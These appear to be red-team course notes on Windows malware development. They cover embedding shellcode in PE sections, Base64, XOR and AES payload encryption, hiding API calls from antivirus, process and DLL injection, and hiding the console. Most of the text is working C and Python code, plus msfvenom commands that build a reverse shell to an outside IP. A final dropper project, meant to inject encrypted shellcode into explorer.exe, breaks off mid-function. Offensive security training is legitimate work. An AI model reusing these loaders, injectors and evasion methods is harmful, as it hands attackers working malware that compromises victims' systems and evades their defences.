Malware Development Essentials

Portable Executable (PE) File Format

The Portable Executable (PE) format is a file format used for executables, object code, DLLs, FON font files, and other file types in 32-bit and 64-bit versions of Windows operating systems. The PE format is a data structure that encapsulates the information required by the Windows OS loader to manage the executable code. This includes dynamic library references for linking, API export and import tables, resource management data, and thread-local storage (TLS) data. In NT-based operating systems, the PE format is used for EXE, DLL, SYS (device driver), and other file types.

Key PE Sections

  • .text: Contains executable code (useful for malware developers).

  • .rdata: Contains read-only data.

  • .data: Contains the application’s global variables (useful for malware developers).

  • .pdata: Contains exception handling information.

  • .rsrc: Contains resources such as objects, pictures, icons, manifest files, embedded EXEs, and DLLs (useful for malware developers).

  • .reloc: Contains relocation information, allowing Windows loaders to properly load DLLs or EXEs into memory.

PE Bear

A Portable Executable reversing tool with a user-friendly GUI.

PE Bear Software

EXE vs. DLL

  • EXE (Executable)

    • Programs that can be loaded into memory as independent processes.

    • Require a main function.

  • DLL (Dynamic Link Library)

    • PE modules loaded into an existing process.

    • Provide functionalities required by the process.

    • Require a DllMain function.

The only difference between an EXE and a DLL is how they are invoked in a program.

Payload Storage

Payload Storage in PE Files

1. Dropper

  • A dropper is a specialized program or file (e.g., PDF, DOCX) used to deliver a payload to a target machine.

  • Its primary function is to bypass detection and execute the payload on the victim's system.

2. Payload

  • A sophisticated program designed to perform malicious actions, such as:

    • Deploying malware.

    • Establishing a reverse shell.

    • Disabling antivirus (AV).

    • Downloading/executing additional programs.

    • Escalating privileges.

3. Storing Payload in PE Sections

Payloads can be embedded in different sections of a Portable Executable (PE) file:

Section

Storage Method

Use Case

.text

Stored as local variables inside functions.

Executable code region; useful for hiding small payloads.

.data

Stored as global variables.

Stores writable data; payload remains accessible throughout execution.

.rsrc

Embedded as resources (e.g., icons, binaries).

Evades detection by storing payload as non-executable data.

Generate payload using MSFVENOM

Intrusionz3r0@htb[/htb]$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=1234 raw EXITFUNC=thread > shellcode.bin
Intrusionz3r0@htb[/htb]$ msfvenom -p windows/x64/exec cmd="C:\Windows\System32\calc.exe" -f raw EXITFUNC=thread > shellcode.bin
Intrusionz3r0@htb[/htb]$ xxd -i shellcode.bin

Store Payload .text section

File: compile.bat

@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

Payload is defined as a local variable inside main function.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	// 4 byte payload
	unsigned char payload[] = {
		0x90,		// NOP
		0x90,		// NOP
		0xcc,		// INT3
		0xc3		// RET
	};
	unsigned int payload_len = 4;
	
	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Copy payload to new buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Make new buffer as executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	// If all good, run the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

Store Payload .data section

File: compile.bat

@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

Payload is defined as a global variable.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 4 byte payload
unsigned char payload[] = {
	0x90,		// NOP
	0x90,		// NOP
	0xcc,		// INT3
	0xc3		// RET
};
unsigned int payload_len = 4;

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Copy payload to new buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make new buffer as executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	
	// If all good, run the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

Store Payload .rsrc section

Payload is embedded as a resource (e.g., fake icon file).

File: resources.rc

#include "resources.h"

FAVICON_ICO RCDATA calc.ico

File: resources.h

#define FAVICON_ICO 100

File: compile.bat

@ECHO OFF

rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	
	unsigned char * payload;
	unsigned int payload_len;
	
	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL, res);
	payload = (char *) LockResource(resHandle);
	payload_len = SizeofResource(NULL, res);
	
	// Allocate some memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Copy payload to new memory buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Make the buffer executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	
	// Launch the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

Payload Encoding and Encryption

The purpose is to evade AV/EDR and make it difficult to detect

Difference between encoding and encryption

Encode: The purpose is to transform data using a public schema to and make it easy to process by software. (To decode needs to know the decode type)

  • Base64

Encryption: The purpose is to transform data using an encryption algorithm in order to keep it secret from others (To decrypt needs Encryption type and key)

  • XOR

  • AES

Base64 encoding

File: compile.bat

@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")

unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(calc_payload);


int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {

	DWORD outLen;
	BOOL fRet;

	outLen = dstLen;
	fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
	
	if (!fRet) outLen = 0;  // failed
	
	return( outLen );
}


int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	
	// Allocate new memory buffer for payload
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Decode the payload back to binary form
	DecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);
	
	// Make the buffer executable
	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	
	// If all good, execute!
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

XOR encryption

File: xor_encrypt.py

import sys
KEY = "mysecretkeee"

def xor(data, key):
	
	key = str(key)
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i % len(key)]
		output_str += chr(ord(current) ^ ord(current_key))
	
	return output_str

def printCiphertext(ciphertext):
	print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')



try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()


ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

File: compile.bat

@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	unsigned char calc_payload[] = {};
	unsigned int calc_len = sizeof(calc_payload);
	char key[] = "mysecretkeee";

	// Allocate a buffer for payload
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Decrypt (DeXOR) the payload
	XOR((char *) calc_payload, calc_len, key, sizeof(key));
	
	// Copy the payload to allocated buffer
	RtlMoveMemory(exec_mem, calc_payload, calc_len);
	
	// Make the buffer executable
	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	// If all good, launch the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

AES Encryption

File: aes_encrypt.py

import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
	return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

def aesenc(plaintext, key):

	k = hashlib.sha256(key).digest()
	iv = 16 * '\x00'
	plaintext = pad(plaintext)
	cipher = AES.new(k, AES.MODE_CBC, iv)

	return cipher.encrypt(bytes(plaintext))


try:
    plaintext = open(sys.argv[1], "r").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

File: compile.bat

@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}


int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	char key[] = 
	unsigned char calc_payload[] = 
	unsigned int calc_len = sizeof(calc_payload);
	
	// Allocate memory for payload
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Decrypt payload
	AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));
	
	// Copy payload to allocated buffer
	RtlMoveMemory(exec_mem, calc_payload, calc_len);
	
	// Make the buffer executable
	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	
	// If all good, launch the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

Function Call Obfuscation

Function call obfuscation is a technique used in malware development to hide calls to external functions (usually from Windows DLLs) in order to evade detection by antivirus (AV) software.

How does a normal executable work?

  • EXE or DLL files use external functions from system DLLs like kernel32.dll, user32.dll, etc.

  • These external functions are imported normally, and their names appear clearly in the Import Address Table (IAT).

  • AV engines analyze these imports to detect suspicious or malicious behavior.

How does AV detect malware?

AV software inspects imported DLLs and their functions. If the executable uses functions often seen in malware—such as:

  • VirtualAlloc

  • WriteProcessMemory

  • CreateRemoteThread

...then the AV might flag the binary as suspicious or malicious.

How Does Function Call Obfuscation Help?

To evade AV detection, malware developers avoid importing sensitive functions directly. Instead, they:

  • Resolve function addresses at runtime using Windows API functions:

    • GetModuleHandle("DLL_Name"): Returns a handle to a loaded DLL.

    • GetProcAddress(handle, "FunctionName"): Returns the address of a function in the specified DLL.

Listing imports using dumpbin

C:\Users\rto\Downloads\RTO Files\05.Functions_Obfuscation>dumpbin /imports implant.exe
Microsoft (R) COFF/PE Dumper Version 14.24.28316.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file implant.exe

File Type: EXECUTABLE IMAGE

  Section contains the following imports:

    KERNEL32.dll
             14000D000 Import Address Table
             140015538 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference
                         <SNIF>
                         5DB VirtualProtect
                         <SNIF>

This tells AVs that VirtualProtect is used—which can be suspicious.

How to search for function (E.x. VirtualProtect)

  1. Example: msdn virtualprotect

  2. Copy the function structure

E.x. VirtualProtect Structure

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
  1. First, define a global function pointer:

BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);

Then resolve it at runtime:

pVirtualProtect = GetProcAddress(GetModuleHandle("Kernel32.dll"),"VirtualProtect");

The problem here is the VirtualProtect into the code and it can be detectable, to fix it use XOR encryption.

Obfuscating Strings using XOR encryption and CyberChef

Site: CyberChef

Key: RANDOMKEY

Input: FUNCTION_NAME

OLD CODE WITHOUT CALL OBFUSCATION

This code calls VirtualProtect directly, exposing its name in the binary/

exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, calc_payload, calc_len);
VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

NEW CODE USING FUNCTION CALL OBFUSCATION

This version hides the call to VirtualProtect using XOR and dynamic resolution.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char calc_payload[] = {PAYLOAD};
  
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

unsigned int calc_len = sizeof(calc_payload);


BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	char key[] = "1234567890";
	char sVirtualProtect[] = {0x67,0x5b,0x41,0x40,0x40,0x57,0x5b,0x68,0x4b,0x5f,0x45,0x57,0x50,0x40};

	// Allocate buffer for payload
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	XOR((char *) sVirtualProtect, strlen(sVirtualProtect), key, sizeof(key));
	pVirtualProtect = GetProcAddress(GetModuleHandle("Kernel32.dll"),sVirtualProtect);
	
	// Copy payload to the buffer
	RtlMoveMemory(exec_mem, calc_payload, calc_len);
	
	// Make the buffer executable
	rv = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	// If all good, run the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

Using Function Call Obfuscation:

  • Prevents AV from easily detecting sensitive API calls.

  • Allows dynamic resolution of Windows API functions at runtime.

  • Can be extended to any function: CreateRemoteThread, LoadLibrary, etc.

  • Increases stealth of malware or offensive tools.

Backdooring PE Files

Trojan is a software which mimic a legitim software in way to run malware into the legitim software

Methods of implanting own code:

  • Code Cave: Space inside PE file .text segment is not occupied by other data or code (disadvantage small space )

  • New Section: Create a new section set size anything you want freedom (You have to set executable and quickly detected by AV engine as malicious)

  • Extending section: Pick some section typically the last one and increase the size to hold you shellcode (Require more effort to recalculate)

How to backdoor a legitim process (Putty)

INSERT VIDEO HERE

Code Injection

Payload injection is a technique used in malware development where a malicious code payload is inserted into a legitimate process or system.

Most Common Combination

  • VirtualAllocEx: Allocates memory in the remote process.

  • WriteProcessMemory: Writes the shellcode into the allocated memory.

  • CreateRemoteThread: Starts a new thread in the remote process to execute the shellcode.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// MessageBox shellcode - 64-bit
unsigned char payload[] = {PAYLOAD};
unsigned int payload_len = 334;


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;

  
        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int main(void) {
    
	int pid = 0;
    HANDLE hProc = NULL;

	pid = FindTarget("notepad.exe");

	if (pid) {
		//printf("Notepad.exe PID = %d\n", pid);

		// try to open target process
		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);

		if (hProc != NULL) {
			Inject(hProc, payload, payload_len);
			CloseHandle(hProc);
		}
	}
	return 0;
}

DLL Injection

  • LoadLibrary: The address of this function is obtained in dropper.exe using GetProcAddress.

  • VirtualAllocEx: Called in the target process (e.g., outlook.exe) to allocate space for the DLL path.

  • WriteProcessMemory: Writes the DLL path into the allocated memory.

  • CreateRemoteThread: Executes LoadLibrary with the path to the DLL as its argument, effectively loading the malicious DLL into the target process.

File: implantDLL.cpp

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Calc.exe shellcode (exit function = thread)
unsigned char payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int payload_len = 276;



extern __declspec(dllexport) int Go(void);
int Go(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	RtlMoveMemory(exec_mem, payload, payload_len);
	
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, 0);
	}
	return 0;
}


BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {

	switch ( fdwReason ) {
			case DLL_PROCESS_ATTACH:
					Go();
					break;
			case DLL_THREAD_ATTACH:
					break;
			case DLL_THREAD_DETACH:
					break;
			case DLL_PROCESS_DETACH:
					break;
			}
	return TRUE;
}

File: injectDLL.cpp

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int main(int argc, char *argv[]) {
	
	HANDLE pHandle;
	PVOID remBuf;
	PTHREAD_START_ROUTINE pLoadLibrary = NULL;
	char dll[] = "C:\\PATT\\implantDLL.dll"; //use double backslash \\
	char target[] = "notepad.exe";
	int pid = 0;
	
	
	pid = FindTarget(target);
	if ( pid == 0) {
		printf("Target NOT FOUND! Exiting.\n");
		return -1;
	}

	printf("Target PID: [ %d ]\nInjecting...", pid);

	pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

	pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));

	if (pHandle != NULL) {
		remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);	
	
		WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);

		CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
		printf("done!\nremBuf addr = %p\n", remBuf);

		CloseHandle(pHandle); 
	}
	else {
		printf("OpenProcess failed! Exiting.\n");
		return -2;
	}
}

File: compileDLL.bat

@ECHO OFF

cl.exe /O2 /D_USRDLL /D_WINDLL implantDLL.cpp implantDLL.def /MT /link /DLL /OUT:implantDLL.dll

File: CompileInjector.bat

@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /TcinjectDLL.cpp /link /OUT:injectDLL.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

Hiding console

Using FreeConsole(); but the problem is the console will pop up a milliseconds.

FreeConsole();

Use a WinMain instead of main method and compile using

Right Way to hide console

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
    //CODE
}

Will pop up the console even using FreeConsole

int main(void) {
    //CODE
    FreeConsole();
}

And should compile the program as GUI program using /SUBSYSTEM:WINDOWS

@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64

Final project

  1. Create a dropper where the shellcode is loading from .rsrc

  2. Encrypt/Decrypt using XOR encryption

  3. Inject the shellcode into explorer.exe or notepad.exe

  4. Get rid of console windows (pop up)

Payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=1234 -f raw EXITFUNC=thread > shellcode.bin

File: compile.bat

@ECHO OFF

rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64 resources.o

File: resources.rc

#include "resources.h"
FAVICON_ICO RCDATA fav.ico

File: resources.h

#define FAVICON_ICO 100

File: xorencrypt.py

import sys

KEY = "hUNdAmEnALtaterphApSERS"

def xor(data, key):
	
	key = str(key)
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i % len(key)]
		output_str += chr(ord(current) ^ ord(current_key))
	
	return output_str

def printCiphertext(ciphertext):
	print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')



try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()


ciphertext = xor(plaintext, KEY)
open("fav.ico","wb").write(ciphertext)
#print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

File: implant.cpp

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
#include <tlhelp32.h>

char key[] = "hUNdAmEnALtaterphApSERS";

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
